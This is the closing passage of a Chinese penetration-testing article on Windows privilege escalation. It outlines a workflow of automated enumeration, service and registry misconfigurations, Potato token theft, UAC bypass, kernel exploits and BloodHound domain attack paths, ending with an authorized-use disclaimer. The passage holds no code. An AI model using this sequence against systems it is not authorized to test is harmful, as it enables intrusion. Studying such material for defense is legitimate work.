| AD域提权 | 横向移动到域管理员 | 域环境 |
| 持久化 | 维持高权限访问 | 长期控制 |
在实际渗透测试中,提权路径的选择取决于目标系统的具体配置。建议遵循以下流程:
- 使用WinPEAS/Seatbelt进行全面的自动化信息收集
- 根据信息收集结果,优先尝试配置错误类提权(服务、注册表)
- 如果是服务账户,优先尝试Potato系列令牌窃取
- 如果是管理员账户,尝试UAC绕过
- 如果以上均不可行,检查内核漏洞并使用Watson匹配
- 在域环境中,使用BloodHound分析攻击路径
掌握Windows提权技术不仅对攻击方至关重要,对防御方同样重要——只有了解攻击路径,才能制定有效的防御策略。本文的所有技术内容仅用于授权安全测试和学习研究,请在合法授权范围内使用。
【提示】 安全是一个持续对抗的过程。新的提权漏洞和技术不断涌现,本文覆盖的漏洞和工具会随时间推移而更新。建议关注最新的安全研究动态,持续学习和更新知识库。在合法的授权测试环境中不断实践,是提升安全技能的最佳方式。
openEuler 是由开放原子开源基金会孵化的全场景开源操作系统项目,面向数字基础设施四大核心场景(服务器、云计算、边缘计算、嵌入式),全面支持 ARM、x86、RISC-V、loongArch、PowerPC、SW-64 等多样性计算架构
更多推荐



所有评论(0)